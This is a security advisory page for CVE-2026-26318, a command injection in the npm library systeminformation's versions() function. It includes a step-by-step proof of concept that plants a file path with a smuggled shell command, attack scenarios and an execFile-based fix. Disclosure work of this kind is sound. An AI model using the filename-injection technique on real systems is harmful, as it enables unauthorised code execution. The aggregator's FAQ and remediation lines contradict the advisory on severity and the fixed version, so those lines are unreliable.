CVE-2026-26318: systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`

Published Feb 18, 2026
·
Updated

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm) Tested Version: 5.30.7 Affected Platform: Linux Author: Sebastian Hildebrandt Weekly Downloads: ~5,000,000+ Repository: https://github.com/sebhildebrandt/systeminformation Severity: Medium CWE: CWE-78 (OS Command Injection)

---

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

javascript // lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } });

Here's what happens step by step:

1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the last element (highest alphabetically) 4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().

---

Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

1. Target system runs Linux — the vulnerable code path is inside an if (linux) block 2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL 3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback) 4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb 5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate /usr/bin/locate

systemctl list-timers | grep plocate plocate-updatedb.timer plocate-updatedb.service (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SIRCEPROOF;/bin" touch "/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres /usr/lib/postgresql/14/bin/postgres /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order: [0] /usr/lib/postgresql/14/bin/postgres ← legitimate [1] /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres ← selected (last)

Quick verification:

node -e " const paths = [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres' ]; console.log('Sorted:', paths.sort()); console.log('Selected (last):', paths[paths.length - 1]); "

Output:

Sorted: [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres' ] Selected (last): /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

javascript const si = require('systeminformation');

// This is a normal, innocent API call si.versions('postgresql').then(data => { console.log(data); });

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x → fails silently (not executable) touch /tmp/SIRCEPROOF → ATTACKER'S COMMAND EXECUTES /bin/postgres -V → runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SIRCEPROOF -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SIRCEPROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.

---

Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.

---

Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

javascript const { execFile } = require('childprocess');

exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n') .filter(p => p.trim().length > 0) .sort(); if (postgresqlBin.length) { execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => { // ... parse version }); } } });

Additionally, the locate output should be validated against a safe path pattern before use:

javascript const safePath = /^[a-zA-Z0-9/.-]+$/; const postgresqlBin = stdout.toString().split('\n') .filter(p => safePath.test(p.trim())) .sort();

---

Disclosure

- Reported via: GitHub Private Security Advisory - Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new - Security Contact: security@systeminformation.io

Other sources

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

NVD

Affected Software

2 affected componentsFixes available
npm/systeminformation<=5.30.7
5.31.0
systeminformation Systeminformation Node.js<5.31.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/systeminformation to a version that resolves this vulnerability.

    Fixed in 5.31.0
  2. Upgrade

    Upgrade systeminformation (npm) to a version that resolves this vulnerability.

    Fixed in 5.31.0
  3. Upgrade

    Upgrade systeminformation (npm) to a version that resolves this vulnerability.

    Fixed in 5.30.7

Event History

Feb 18, 2026
Advisory Published
via GitHub·10:36 PM
Data Sourced
via GitHub·10:36 PM
DescriptionSeverityWeaknessAffected Software
Feb 19, 2026
CVE Published
via MITRE·07:48 PM
Data Sourced
via MITRE·07:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:25 PM
RemedyDescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·09:04 PM
DescriptionSeverityAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-26318?

The severity of CVE-2026-26318 is considered high due to its potential for command injection.

2

How do I fix CVE-2026-26318?

To fix CVE-2026-26318, upgrade the systeminformation package to version 5.31.0 or later.

3

What does CVE-2026-26318 affect?

CVE-2026-26318 affects the systeminformation package on Linux systems.

4

What causes the vulnerability in CVE-2026-26318?

CVE-2026-26318 is caused by unsanitized output from the locate command being used in the versions() function.

5

Who is the author of the CVE-2026-26318 vulnerability?

The author of the CVE-2026-26318 vulnerability is Sebastian Hildebrandt.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203